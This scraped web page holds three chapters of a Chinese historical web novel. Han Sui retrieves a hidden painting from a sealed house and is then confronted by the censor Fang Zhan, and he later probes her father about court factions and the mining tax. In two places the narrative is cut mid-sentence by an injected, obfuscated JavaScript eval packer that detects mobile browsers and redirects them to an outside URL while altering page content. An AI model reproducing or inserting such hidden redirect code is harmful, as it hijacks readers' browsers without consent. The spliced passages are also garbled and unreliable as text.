“姑娘,这真不怪我,”先秀摇摆双手,委屈解释道,“我得知老爷不在衙里,就去找徐大人,哪知他正跟御史大人在一处,我话都还没说呢,就被御史大人叫到一边,他问我是不是姑娘你有事.…..” 说到此处,先秀略有犹豫,但在韩穗目光逼慑下,索性心一横全部坦白:“御史大人实在是太过英姿逼人了,我脑子一时发热,觉得姑娘如此重情重义、胆识过人,就该由这等俊朗倜傥之人去襄助,所以就把一切都告诉他了。我错了姑娘,我不该有如此荒唐念头,害得品兰姑娘被抓入狱,搅乱了姑娘救人计划!” 韩穗差点背过气去:“知人知面不知心啊!你看他楚楚君子的模样,实则小人度量!” “啊?姑娘是如何知道……” “去,”韩穗当即截断先秀的发问,朝门口无力一指,“回房间面壁思过,不到三更不许睡觉。” “哦。” 先秀撅着嘴走后,韩穗缓缓坐下。 虽说先秀的确有冒失之处,但她其实心里很清楚,今日就算没有先秀胡乱报信,姓方的也会去刘家走那一遭。 他显然是有备而去。 “刘百盛之死牵扯极深……” 韩穗回想着方湛在马车上最后说的那句话,却怎么也想不出,一个宦官的狗腿子死了,究竟会引起什么轩然大波。 还有那枚玉佩,怎么就如此不巧,她前脚刚赔给冼牧川,后脚就被他发现了。偏偏那玉佩还是当年他送给自己的生辰礼,这下真是把仇恨的结给彻底打死了。 “算了算了,这些都不重要,”韩穗突然起身,自言自语,“我只管把品兰的事摆平,再叫父亲带我速速回京,从此一别,再不与他相见就是!” “睡觉!”她呼呼将烛火吹灭,钻入被衾之中。 明日她还要早起,去完成品兰交代之事。 22. 冤家路窄(二) 天色未明之时,韩家马车已驶过城中鼓楼,沿着昨日赶去城西刘宅的路线辘辘而行。 这日雪停风静,道上的厚雪也已被铲开,行车自是一路通畅。然而马车驶至昨日被积雪阻滞之处时,却再次缓缓停下。 负责驾车的通山将缰绳套栓在路边大树上,与车上人知会了一句,便径自朝刘宅所在的方向疾步跑去。 不多会儿,通山嘴里呼着热气小跑而回,敲了敲车门,禀道:“姑娘,小的看清楚了,刘家不光门口有官差把守,四下也是每隔几丈就有兵卫,咱们该如何进去?” 韩穗坐在车内,手拢暖炉,心道那姓方的果然派人将刘家包围了,看样子夜里都未撤走。 先秀坐在另一侧,懊恼道:“早知道品兰姑娘要咱们帮她回刘家取东西,我昨日就该顺便问老爷要来手牌,或者直接跟方大人说一声......” “方大人”三字一出,韩穗当即飞甩过去一记眼刀,先秀的话便戛然而止。 韩穗瞪完人,又说回到正事上:“品兰叫我去取的虽说只是一副画,但她将此事偷偷委托于我,想来是不愿叫旁人知晓。若我们劳驾官府之人放行,那取到的画必要经他们之手检查,说不定还会被当作与案件相关之物收缴上去。” 一想到方湛提起此案的冷肃口气,她顿时更加笃定自己的预测。 通山在车外道:“小的方才绕刘家走了一圈,倒是发现一处可钻空子的地方,姑娘可还记得品兰姑娘被徐家人囚禁的阁楼?那楼就在刘宅西南角,外接一片土坡荒地,附近好像无人看守。” 韩穗推窗,望了眼远处已有一线发亮的天边,果断道:“走,去看看。” 三人下车,从巷子里绕行到刘宅西南角土坡后,悄悄张望起四周警戒情况。 灰蒙蒙的晨色中,韩穗看清那座昨日差点困住她与品兰的楼阁。那楼实则为宅院的角楼,许是官府觉得此楼背面窗户紧闭,无法出入,便未置哨卡。 然而她却清楚,其中一扇窗早在昨日被自己从内打开。 真是天赐机会,韩穗对通山道:“你看到最左侧那扇窗没,是虚掩着的,你若有法子攀墙进去,就能找到一捆麻绳,再用绳子将我俩拉上去就是。” 通山估摸了一下土坡上一株大树与那窗的距离,点头道:“差不多。” 他小时候在街上混玩时没少上墙爬树,此刻一撸袖子,没几下便蹿至树杈上,借力一跃,攀住窗台,随后单手拨开窗扇,顺利翻爬进去。 韩穗与先秀忙下坡到窗下等待,不一会儿,一条麻绳便顺了下来。 这主仆二人小时候也不是老实的,用帕子缠住手掌,一个接一个,手抓麻绳,脚蹬墙面,再加上通山在上头用力后拉,不多会儿也成功翻窗入楼。 此时天色已有亮意,韩穗不敢多耽误,来不及歇口气儿就出了角楼,按照品兰的描述,往刘宅后院深处摸寻而去。 刘家人已被押去府衙,剩余仆从皆被看管在前院,三人行在楼宇重重的后院畅通无阻,很快便找到刘百盛幽禁品兰的院落。 院内几间屋子大门劈敞,屋内犹可见歪倒的桌椅、散落在地的物什,似乎皆是品兰那日被人强行掳走的痕迹。 韩穗不忍直视,移开视线。 品兰要她取走的东西分在两处。她低声吩咐先秀几句,自己则带着通山走向庭院内一处假山。 假山内有狭洞,韩穗手举火折子四下查看,找到一块状如狮的石头,叫通山上前将其挪开后,底下赫然出现一洞口。 借着微弱光亮,可见浅洞中躺着一柄带锁长匣。 “就是它。”韩穗取出长匣,与通山返回。 此时先秀亦按照指示从品兰卧房找到了开匣锁的钥匙。 事已成,三人沿着来时路匆匆离去,赶在天色大亮之前,又从角楼成功翻逃出去。 待韩家马车再次驶发时,旭日已然东升,朝霞挥洒在空旷的街道上,渐渐有了行人往来。 如此顺利就完成了一桩大事,韩穗明显比来时放松许多,紧张感褪去后,肚子便不自觉咕咕叫起来。 先秀趴在车窗边,突然眼睛一亮:“姑娘,卖包子的出摊了!” 随后马车一停,不出片刻,先秀便用油纸捧着热乎乎的包子上了车。 韩穗饿极了,净了手拿过包子就大口吃起来,吃着吃着,却发现先秀表情有些不对劲。 “你怎么不吃,想什么呢?”她问道。 先秀先是张了张口,欲言又止,随即又自我否定地摇起头来。如此重复几次,韩穗一个包子都下肚了,她才决定开口:“我方才买包子的时候,总感觉好像有人在盯看我,我一扭头,那人就闪到旁边巷子里去了。” “看花眼了吧?”韩穗又拿起一个包子开吃。 “可姑娘不是说我向来眼尖的么......”先秀疑惑地挠挠头,突然想到了什么:“姑娘,咱们不会被人跟踪了吧?” 韩穗一口包子噎在嘴里,连忙推窗,探出脑袋前后都张望了一遍,只见路上行人寥寥,各有忙碌,并未瞧见有鬼鬼祟祟跟行之人。 她关窗缓缓坐正回去,居然也不确定起来,喃喃自语道:“不会吧,什么人会跟踪咱们呢......” —— 朝阳东升,晨光晴柔。 连日风雪后总会有个好天气,值守在州府刑狱外的狱卒刚迎着旭日打了个哈欠,就听厚重的狱门吱嘎一声,缓缓门启,从里头步出一位朗正清隽的青年来。 这青年不是旁人,正是审了一夜案犯的御史大人方湛。 那狱卒急急收了倦意,忙上前禀道:“方大人,两刻前裘校尉前来求见,因不敢打搅大人审案,现已退去二堂等候。” “知道了。”方湛得信,顾不上休整,当即往二堂走去。 昨日查出刘百盛死因为中毒后,他便命令裘明留守刘宅,防有异动。果不其然,夜半时分刚过,就有刘家车夫翻墙出逃一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828711|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事发生,结果自然是被巡守在附近的捕快当场拿下,连夜押送至府衙刑审。 只是此事刚过去不到两个时辰,裘明就又亲自赶来…… 他不禁蹙眉,脚下步伐亦随之加快。 至二堂,方湛甫一见裘明便问:“可是刘宅那边又出状况了?” “回大人,正是。”裘明点头,却又面露为难:“倒也不算什么大问题,只是……” 大老远特意跑来禀报却又支吾犹疑,方湛瞧着裘明,心道圣上给他点的这位玄英卫,行事还算靠谱,怎的说话如此不爽利。 “如实道来。”他简短示意,转身坐进一把太师椅。 “只是此事关乎通判大人家的小姐!” “韩穗?”方湛惊疑。 裘明确认道:“正是。昨夜属下发现刘宅附近有可疑人员蹲守,就按大人的意思,故意将刘宅西南角的官兵撤走,又暗中观察那些人是否会趁隙出入,不曾想居然撞见韩小姐带着两个仆从翻窗而入!属下不敢暴露自己,并未上前制止,约莫半个时辰后三人原路返回,身上多了个包袱,不知里头是什么。” 方湛闻言坐不住了,起身问:“那些蹲守之人可有发现此事?” “糟就糟在这儿,属下本想暗中跟随韩小姐看其去向,却发现他们身后不知何时多了两条‘尾巴’,行至坊巷时属下想捉住那二人,却被他们狡猾逃脱,属下怕是调虎离山之际,未敢去追,只先护送韩小姐回家,这才赶来向大人禀报。” “属下办事不力,请大人治罪!”裘明当即抱拳下跪。 “起来吧,你做得没错,”方湛云淡风轻道,“此等情况下自然是保证官眷的安全要紧,至于那两个跑了的,不必懊丧,这些人没达成目的自会再回来。” 他从袖中抽出一条细纸卷,递给裘明:“先瞧瞧这个吧,这是昨日你送来的那个刘家车夫的供状。” 裘明起身接过纸卷,展开速阅,一时眉头紧锁:“那车夫果然有问题!如此看来,背后指使车夫之人,就是毒害刘百盛的凶手?” “此刻下结论为时尚早。”方湛收回供状,沉思片刻,吩附道:“刘宅那边还要继续紧盯,尤其是在附近鬼鬼祟祟之人,摸清他们究竟是何来路。再者,上次交代你去查张金龙下落一事,还须尽快,一有消息,即刻来报。” “是。”裘明领命,又问起另一事:“那韩小姐从刘家拿走的东西,是否要追查清楚?” 方湛止道:“此事你不用管,我自有处置。” 裘明走后,他坐回到椅上,一时陷入静默。 昨日在马车上的劝告,看来她是全当耳旁风了。刚叫她不要插手刘家事,她转头就带人一起翻窗入室,从刘家取走了不知什么东西。 她倒是好身手。 想到这儿,方湛居然无奈到笑了一声,随即心中一个早就浮现的疑问渐渐加重—— 她不在定州白家当养尊处优的少奶奶,千里迢迢跑来云州作甚么? 23. 冤家路窄(三) 疑窦一旦生出,消解起来可就难了。 韩穗与先秀在回程路上疑神疑鬼,时不时就开窗前后瞭望。然而随着日头渐升,街道上行人来往稠密,又如何分得清谁是心怀不轨之人? 好在回去的路不远,要不然主仆二人光开窗关窗就能把自己扇乎出风寒来。 一回到家,韩穗就叫通山将前后门牢牢闩住,自己则怀抱画匣直奔正堂东次间的暖阁。 此处是父亲专门辟出给她作揭裱作画专用的书房,因后墙毗邻小厨房,那边灶台一烧,这边就被烘烤得暖和,不必烧炭,免了烟熏,极适合在阴冷的冬季进行揭裱操作。 韩穗将画匣搁在靠窗书案上,取来软巾仔细拭去匣面上的泥土,只见日光下匣体漆亮,盖顶用极薄的螺钿镶嵌出一弯汩汩清泉,泉边疏斜着几株清幽兰草。 “钥匙。”她抬手,先秀随即递上一把小巧的黄铜钥匙。 匣开,内盛一十寸许长的卷轴,朝外的签条上却空无一字。 她好奇,仔细清理了桌面,将画轴放上去,伴随其小心翼翼的推展动作,一副清墨淡痕的文人图缓缓呈现在眼前。 先秀凑上前,随口念出画首两个最明显的题字:“候月?” 韩穗却久久似不能言语,她盯着落款处一枚造型古拙的花押,只觉心头一阵狂跳,此画居然是她手上那副白川画作《望山》的姊妹篇! 刹那间脑中闪过无数疑团,但她根本来不及细想,目光早已被画中境吸引入胜。 作画人用半幅画面营造了一片旷野,远处竹林深幽,近处草木葳蕤。半坡上,一个抱琴而来的书童正要去寻他那候月的主人。追随书童的脚步,画右侧一位随性盘坐在地的仕人正倚石仰望,悠然等候天边那轮被遮挡住一半的圆月重新破云而出。 “这就是白川所作的‘候月’,”韩穗惊喜开口,“《沂溪草堂述雅图》画的是当时仕人最喜爱的四般雅事,‘望山’是其一,另外还有‘漱泉’‘寻幽’,再就是眼前这副‘候月’。” 她语气轻柔,似蕴含无限珍惜眷恋,与平日里说话时声音惯常横着出来的那个韩穗判若两人。 先秀不禁扭头去看说画人。只见韩穗此刻微微俯身,乌发高挽,露出的白皙脖颈将耳上垂晃的碧玉坠子映衬得娇艳欲滴。 再看她一双明妍美目,正专注地掠过画中每一处细节,神情憧憬,两靥生辉。 看画人已入画中境,殊不知看她的人亦在痴痴神往中。 不知怎的,先秀脑海中蓦然跳出一张清俊肃朗的男子面庞,下意识呢喃出口:“般配。” “先秀,说什么呢?” “哎?”先秀乍然回神,只见韩穗正歪头,双目熠熠生辉地看着她。 “没、没什么……” 韩穗不遑多问,心思都在画上:“你可知白川的画为何会价值不菲?” “呃,”先秀用手指捅咕了一下鬓发,“姑娘以前说过,寻常旧朝古画大概百金左右,但白川所处的南梁距今已有百年之久,且该朝战祸频仍,流传下来的画作少之又少,物以稀为贵嘛。” “这只是其一,”韩穗用纤长玉手慢慢虚抚过画中远山青黛和竹林人物,欣赏道,“其二便是白川特有之虚实错落的画法,使其画价又上跃一层。” 先秀近前观摩,眉间拧成了团,似懂非懂地去感受韩穗所说的高明之处。 “这第三点,却超脱画作本身之外了。”韩穗开口如数家珍:“白川一生经历颇为传奇,以书生入仕,因反苛政被罢官归田,潜心研学诗画十余载,后在铁蹄踏破国门时又从戎杀敌,凭借战功一举封爵。可惜胳膊拧不过大腿,南梁最终还是灭国,国破后白川返回老家,抱憾郁郁而终。” “先帝戎马开国,却酷爱书画、喜文人风骨,曾在一次面见大臣时提到白川此人,对其生平颇为感慨赞赏,这事不知怎么流传到了坊间,自此白川的书画身价倍增,一度到了千金难求的地步。祖父说,当年《沂溪草堂述雅图》一组四副在上京现身时,可谓引起一番轰动。” “这画在当时如此有名,为何此前从未听人提起过呢?”先秀不解。 韩穗丹唇微抿,浮上一抹无奈苦笑:“既然人为外力能把它捧上去,就也能将之摔下来。当年那完整四副‘述雅图’不知被谁进献给了先帝,北伐鞑靼大捷后,先帝又将四副画赏赠给领兵有功的镇北侯。” “就是那个谋逆的镇北侯?”先秀瞪大眼睛。 “不错,”韩穗继续道,“先帝驾崩,新帝继位,镇北侯却拥雍王起兵攻入上京,后被禁军和蓟南军悉数歼灭。平乱后,圣上追查京内与之有勾联者,数家大族及重臣被牵连,其中就有清流文官之首柳挚的儿子柳傲寒。柳傲寒彼时任巡城御史,据说叛军围攻上京时,就是他作为内应开的城门。” 当初韩穗在白家设计与白十一和离之策时,先秀就知晓了柳挚与谋逆案的关系,今日一听,居然是儿子更勇,不由诧异:“清流文官为叛军开城门,匪夷所思,不过这与白川的画有何关系?” 韩穗曲指敲了敲桌案上的画:“三司会审,审出镇北侯正是用这一组‘述雅图’收买的柳傲寒。一夕之间,当初的文人风骨神作跌入泥淖,成了卖主通敌的讽刺。柳家被抄家后,这四副画亦被收入内库,又过一年,今上推行节流之计,曾用书画代薪发给臣下,据说收到‘述雅图’的大臣都觉得晦气,再之后这四副画就流落四散,不知何处去了,多年来再无人提起。” 先秀恍然大悟道:“这谁还敢提啊,画再好,从前也是与叛军通敌的证据啊!” “对啊,”韩穗突然被这话点醒,点着下巴沉吟起来,“可是年初韩程来信时却写道,近来上京又有人四处求购此画,说是首辅大人的喜好,很多人想用白川的画做仕途的敲门砖呢。首辅大人难道脑子抽风了不成,叫圣上知晓了当作何感想?” “管他呢,值钱就行了,”先秀豁达道,“大少爷为人清正刚直,不齿行贿结党,而咱们更不能叫他知晓此画是白十一从家里偷出来的,好赖留在姑娘手里还算个钱财傍身。可是——” 她双眉一蹙,重新去看桌上画卷:“品兰姑娘又是从哪里弄到这幅‘候月’的呢?” 韩穗道:“她没说,我也没来得及问。她只叫我尽快将画取走,拿到手就重新揭裱。” “重新揭裱?奇怪,这画的装裱明明很新啊。”自韩穗随祖父学习揭裱修复起,先秀便侍奉在旁,耳濡目染多年,也算半个行家了。 韩穗赞许点头,道:“还有更奇怪之处,你看,装裱是新的,可画面仍旧发污,上头的渍痕和霉点没有清理处置,左下缘的虫蚀孔洞也未补上。” “还真是,谁做的活儿啊,真是个大马虎!”先秀毫不留情地批点道。 韩穗却未言语。 这画揭裱得古怪,品兰的委托也很古怪,再联想刘百盛死得蹊跷,她忽觉背后阵阵凉意袭来。 但她对品兰为人绝对信赖,无论缘由,答应的事必定要做到。 “先秀,去取我的襜衣来,”她头也不回道,“再叫榆娘烧些温水,顺便告诉她午饭就送到暖阁吃,你也来帮我的忙,品兰既说尽快,今日咱们就先将这画给洗了。” 身后人却迟迟不作应答。 窗外鸟鸣啁啾了良久,韩穗这才察觉有异。 “先秀,你……”她不满地扭头,却见小姑娘正手足无措,呆头鹅似地看看她,再看看门口。 顺着先秀视线,韩穗亦瞟过去一眼,下一刻不由倒吸一口冷气——暖阁门口不知何时居然多了一个人! 再仔细一瞧,此人静静伫立,长身如松,清姿若玉,人模狗样,不是方湛又是谁! 她猛地回过头去,随手从案头抽过一张纸覆在画上,努力止住被惊吓出的心悸。 他怎么找上门来了?华叔呢,为何不通报一声就放他进来? 纵使心中狂风怒吼,但面上仍平静如常,韩穗缓缓回身,目不斜视地盯着地面,规规矩矩行了一个万福礼。 “民女见过御史大人。父亲仍在府衙未归,还请大人自便。” 匆匆下完逐客令,她扭身就想从连通小厨房的槅扇后门丝滑溜走。 “韩姑娘且留步,”身后人不紧不慢开口,“本官今日冒昧叨扰,只为找姑娘取一样东西。” 韩穗止步回身:“何物?” 方湛朝她缓缓伸出一只手,手心朝上,幽幽道:“自然是你从刘家取走的那样东西。” 若说方才韩穗还分不清他的语气究竟是戏谑还是严肃,此刻她已切肤感受到,这一句轻飘飘的话中满是不容置疑的威压。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14828712|158856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可她并未退却,抬眸,与那青年的目光短兵相接:“方大人在说什么,民女听不懂。” 方湛收手负于身后,视线脾睨下移:“韩小姐今日天不亮就去翻刘家角楼的窗户,弄脏的裙裾到现在都还未来得及换洗,看来方某来得太早了。” 此话毕,韩穗难免联想到回家路上被人跟踪的怀疑,不禁脸色骤变:“方大人派人跟踪我?” “‘跟踪’二字未免难听,方某不过是替通判大人分忧,好好关照其千金的安危罢了。”方湛煞有介事道。 眼看韩穗一脸不服,他突然沉肃了语气:“你可知,刘百盛一死,不光刘宅,包括他的赌坊、各处铺子,周围皆出现一些来路不明之人暗中监视。今日你一到刘家就被他们盯上,回程更是被一路跟踪,他们甚至几次欲对你下手,若不是裘明暗中保护,你今日早已不知被掳绑到何处去了!” “啊?这,姑娘……”一旁的先秀被这番话吓得魂飞魄散、语无伦次,可韩穗仍在试图判断方某人是否危言耸听。 她稍稍按下起伏不定的心跳,强行淡定道:“旁的我管不了那么多,只是品兰的东西,没有她本人的允许,我不会交给任何人。” “刘百盛死因蹊跷,我下令围禁刘宅,为的就是防止与其死相关的物证被人带走销毁,而你偏偏逆拂本官之意,偷闯刘宅取走不明之物,”青年说着迈入暖阁,几步逼近,居高临下凝视着眼前人,“你就不怕本官对你用强?” 冬日暖阳透过支摘窗斜洒在女子如玉面庞上。 她比记忆中高挑了一些,眉目间亦不见三年前的幼圆。一身清华琼姿虽因略有松散的云鬓凭添出缱绻顺从的意味,可当她抬眼正视他时,那双泠泠美目中难掩的分明是逆反与疏离。 “方大人是皇命钦官,小女子自然不敢忤逆,”韩穗缓缓抬手张臂,目光毫不退缩,“大人既想用强,那就先搜妾的身吧。” 先秀急急捂住自己张大的嘴,视线在面前二人之间来回折返,明明听起来是极逾矩的暧昧之言,怎么他俩的眼神对视要迸出刀光剑影了! 屋内落针可闻,周遭气旋低沉,好在对峙只维持了片刻,随即屋外传来说话声和匆匆步履声。 “阿粲,可是家中来客了?” 是父亲回来了! 不等韩穗反应,身前人已一步步后撤至暖阁门外,嘴角噙笑,对着自己低低一揖,故意抬声道:“对不住,是在下唐突了……” 这句话与韩立煜步入正堂的时机配合极妙,巧妙到说话人一回身,与主人家一对视,刚好营造出一种客到却误闯女儿家书房的尴尬。 韩立煜看见屋内二人,不免愣了几瞬,明了情况后立时拱手告罪:“大人恕罪,恕罪,下官在云州只与小女相依为命,家中没甚讲究,是故纵容小女在前堂设书房,不想冲撞了大人……” “此事无妨,”方湛潇洒道,“冒昧前来,还想请韩大人借一步说话。” “是、是。”韩立煜用衣袖拭了拭额上冷汗,对韩穗责备道:“你腿上的伤可好利索了?就到处乱跑,快回后院休息去。” “女儿知道了。”韩穗白了眼那青年头也不回的背影,合上暖阁门扇,叫先秀收起画带上,一起从小厨房穿至后院游廊。 外头凉风习习,却吹不灭韩穗心中的窝火。 “狡猾,两面三刀,怪不得年纪轻轻就能身居高位,一定不是什么正路子来的。”她边走边骂骂咧咧。 “先秀,你说他怎么这么能装,还说什么“对不住,在下唐突了’,搞得多么执身谨正似的……” 话说到此处突然止住,只余风吹檐下铃。 他说的那句话…… 恍惚间,韩穗想起三年前在一得书院藏书阁中初见的一位少年郎。 只不过,那是一个春日的午后,丁香花的馥郁熏染得人昏昏欲睡。刚擦洗完几十排书架的韩穗,一身男子短打衣着,大喇喇地趴在窗栏上打盹,迷迷糊糊中听到有人在耳边低呼“先生来了!” “先生来了?”她猛然清醒,手中鸡毛掸子掉落在地,慌乱地四处寻找先生的身影,却只见身侧立着一个清放干净的少年,正瞧着她过激的反应挑眉直乐。 可下一刻,少年待看清韩穗清秀的面容,忽睁大双眼,慌忙躬身揖道:“对不住,是我唐突了……” 24. 庙堂之高 韩家正堂内。 方湛搁下手中茶盏,起身从韩立煜手中接过一道卷轴,恭谨道:“晚辈替叔父谢过韩大人。” 韩立煜当即摆手道:“不敢当不敢当,举手之劳而已。只是恕下官耳塞目不明,若不是将才方大人主动提起,竟不知淮山先生还有大人这般人物的子侄,真是愧做先生多年知交啊!” 青年温润一笑,轻描淡写道:“晚辈自幼失去双亲,后随叔父避世居于紫金山上,十七岁下山参加科考之前,几乎不曾外出,是故除了上京方家族老,知道晚辈的人并不多。” 韩立煜了然点头,想不到这位朝堂新秀竟有如此坎坷身世,再联想方家作太后母族曾煊赫一时又迅速调零的过往,心道他叔父如此护他也是应该的。 “此事原怪叔父,”方湛又宽解道,“只写信知会您自有人来取画,何时、何人具未说清,倒显得我今日登门有些冒昧了。” 韩立煜惶恐道:“哪里哪里,淮山先生性情放达,如此行事惯是他的风格,只是劳烦大人亲自跑这一趟,实在是下官的不对,其实大人大可提前说一声,下官亲自将画送去州府馆舍岂不便宜。” 方湛听这一句话里好几个“大人”,忍不住联想起韩穗与兄长干脆决绝的性子,委实想不到兄妹二人会有如此一板一眼的父亲。 他笑道:“此处不是府衙,韩大人不必拘礼,况且您与叔父又有同窗之谊,晚学还需尊称您一声前辈。” 韩立煜闻言揖得更低:“不敢不敢,下官虽与淮山先生多年旧友,但官场共事,尊卑不可无序。” 礼谦过后,他示意秦风上前展卷,并向方湛解释:“此画本是淮山先生立夏时节托人带至云州,望老友为其题跋,只是不巧,彼时下官身体抱恙,右手腕握笔不得,又赶上俗事烦扰,心境不宁,便迟迟未曾动笔。幸而入秋后身体复佳,这才择良日提笔,又选用水云花绫、檀木轴头裱褙制成,总算不负先生所托。方大人不妨先睹为快。” 画轴缓缓展开,一股檀木混合书阁特有的气味隐隐弥散开来。只见画中山峦苍翠,掩映于郁木之中的曲折山路上,一位垂钓而归的老翁怡然自乐。画面上方远山迷蒙,空白处的题字行笔铿锵流畅:“山江垂钓处,云外安身园。独往无人识,归来赋晚霞。” 作画人闲云野鹤的笔触方湛再熟悉不过。 叔父方唯淙乃已故太后的侄子,与当今圣上是一同长大的表兄弟。今上继承大统后封其桂亲王,奈何叔父无心朝政、淡薄名利,于十二年前离京南下归隐,自号“淮山”,专心著书立说,不问世事。只是后来慕名求学者众,叔父这才在隐居的紫金山上辟建书院,每年仅收二十学生、学期不逾三月,便是闻名遐迩的“一得书院”。 时人以得瞻仰淮山先生画作为幸事,而方湛却只略扫几眼,就移目到画的装裱上。 他虽对书画雅事兴致缺缺,但跟在叔父身边难免耳濡目染,一眼便知装裱者的巧思心意。 由于画幅宽大,便采用纸撞边,以深青水云花绫做天地,以淡灰龟背绫攒边,又取少许金襕为惊燕,通体古朴不乏雅趣。 他不由瞟了眼暖阁紧闭的门扇,心想装裱此画者八成就是那位从门后逃遁之人。 看过画,方湛不免褒赞几句韩立煜的题跋,后者又是谦虚连连。 收画入匣后,二人落座。 方湛浅呷一口茶,姿态闲适,似是随意提起:“若晚辈没记错,成乾十年春令郎也在一得书院,可惜彼时我得了一场病,休养于书院后院,未能与之同窗求学,未免遗憾。” “方大人所说不错,犬子于翌年参加科考,说起来与大人还是同科,不过犬子愚钝,得淮山先生授业解惑却也只是二甲,如今不过在工部混事而已。”韩立煜拿出十足的谦虚态度。 但他也不是瞎谦虚,毕竟上首坐着的正是与儿子同年的榜眼,入仕后短短几年就从翰林编修跃升为都察院佥都御史,此番巡察云州更是身携钦牌、直听皇命。 韩立煜这些年不在上京,并不清楚眼前人缘何年纪轻轻便速握实权,想来他叔父的亲王身份是一大助力,可若不是有真才能干,也无法得圣上青睐。 “韩大人过谦了,小韩大人克勤尽勉,有经世济民之才,吾等于上京皆有耳闻。”方湛一派儒和温笑:“多年前,吏部尚书孙维真曾上书取消矿税一议,被圣上驳斥罚俸,自此满朝无一人敢再提此事。直到去岁春,韩程兄不惧触怒天颜,呈具淮南矿税于民生之弊害,这才牵动内阁将此事纳入审议,韩兄实乃心怀大义之士。” 矿税之弊人人清楚,但该税却是当年圣上亲自允行并为宦官掌控,多年来早己成为充实内库和填饱东厂的工具。 主张取消矿税就是断内廷的财路,因此就算明白矿税为害百姓,十几年间,除了一些在底下深知民情却人微言轻的小官,以及位高权重到天子都要忌惮几分的老臣,别个谁也不愿赌上前程去触这个霉头。 可韩程却敢。 成乾十一年夏,淮南河堤坝溃决,刚入仕不过月余的韩程,以工部都水司主事身份临危受命,南下治水。两年后,堤坝重筑,灾情纾解,本该回京述职领功的韩程,却在面见天子时直言进谏,痛陈在淮南眼见的矿税积弊。 其时龙颜大怒,当众摔碎一盏南越进贡的玛瑙手杯,吓得工部尚书两股战战,其余人更是冷汗涔涔。众人皆以为韩程脑袋不保,然而圣上只沉默半响,未置一词,甩袖离去。 事后,工部却不敢再用他,但也无法罢其职,老尚书惜才,只得叫他在家反省思过,以静观风声。于是韩程被迫在家“养病”,整个韩家上下愁云不散,一个个做好了抄家流放的准备。 转机却出现在一月后,内阁首辅薛双寿突然带人现身韩家,亲自宣读圣上手谕,称念其治水有功,破格擢升为工部郎中。 伴随韩程的上任,内阁与司礼监也开始了是否取消矿税的漫长拉锯战,而一贯雷厉风行的圣上,独独在此事上举棋不定。是故至今,矿采及矿税的问题仍悬而未决。 可韩程却已稳稳成为首辅大人的座上宾。 当年的面谏之勇为韩程博了名声,但也已是过往旧账。眼下方湛乍然提起此事,叫韩立煜摸不透他是何用意,只模糊应道:“食君之禄,忠君之事。犬子身居官位,为民请命,为圣上分忧,这是读书人的职责。” 这话说得漂亮,方湛唇角一牵,微微点头。他端茶啜饮一口,忽似想起什么,好奇问道:“晚辈入仕晚,有些事不甚清晰,听说当年矿税之计是内阁大人李既白所提?” 韩立煜俯首答道:“正是,若下官没记错,应是……应是成乾八年,那年禁内崇英殿失火烧毁,圣上欲重修,偏逢北方战乱、南方涝灾,诸臣以国帑不丰为由阻拦,圣上为此烦忧数月。那时李尚书还是户部侍郎,上书奏请开岭南银矿,意以所得修缮崇英殿。然此计遭诸多反对,引起论辩争执无数。” “不过翌年春,圣上还是力排众议宜布开矿,并将监矿一职交予内官,后又加设矿税名目,由内庭尚保监收管。” 韩立煜讲述得很是详尽,可说完才想到,这一段朝堂过往几乎人尽皆知,方湛居然会不清楚? 疑惑的念头刚冒出,就听方湛开口道:“原来如此,李大人为圣上解决了一大难题,可谓功不可没,难怪能成为近几十年来最快升入内阁的臣子。” 此话说得算是隐晦,同在官场中,韩立煜哪里会不清楚其中的关窍。李既自此举于彼时内库不丰的圣上而言,无异于雪中送炭,而内官凭白得了如此大的好处,自然也忘不了他。是以其此后的仕途之路畅通无阻,节节高升。 韩立煜一时拿不准方湛此话何意,不敢多言。 坐于上首的青年语气却稀松平常,似谈家事:“后头的事,我倒是听老御史说过,矿税实施后,岭南、荆州等地时有奏陈入京,或弹劾矿监巧借名目搜刮民脂、鱼肉乡里,或警示矿工纠集有暴动之迹,朝中关于矿采矿税利弊的争论更是不断,直到吏部尚书孙大人联合几位老臣上书却被圣上怒斥驳回,那些反对之声才算休止。” 他顿了顿,忽探究似地问道:“晚辈听说,孙、李二位大人向来不睦,传言可真?” 韩立煜当即冒出一身冷汗。孙李之间的关系,何止是不睦,说是势不两立的政敌都毫不为过! 孙维真原是先帝留给圣上的辅臣,而李既白则靠清算镇北侯之乱有功后来者居上。两位天子近臣究竞何时、何故结下梁子,韩立煜这等常年外任的小官无从知晓,只知道十几年来,二人争斗不断,渐渐发展党羽,同党伐异之事从上京蔓延到地方,据说搅扰得圣上都头痛不已。 然而心知肚明之事往往难以宣之于口,韩立煜和稀泥道:“矿税一事上,李尚书一力主张是为圣上解难,孙尚书几番反对只因忧国忧民,立场不同,但初心皆是好的。” 方湛不置可否:“圣意难测,韩程兄若是再早几年面谏,说不定就没这么好的运气了。” “确实,确实。”长子脱险后,韩立煜几次辗转回想,也能猜出些时局的气运来。一来开矿多年,内库渐丰,而圣上对矿监狐假虎威的作为怕是早有不满,想必也在寻找敲打时机,韩程面谏搞不好正中其下怀。二来薛阁老乃清流之首,就好“死谏”这一口,韩程此番又是瞎猫碰上死耗子。 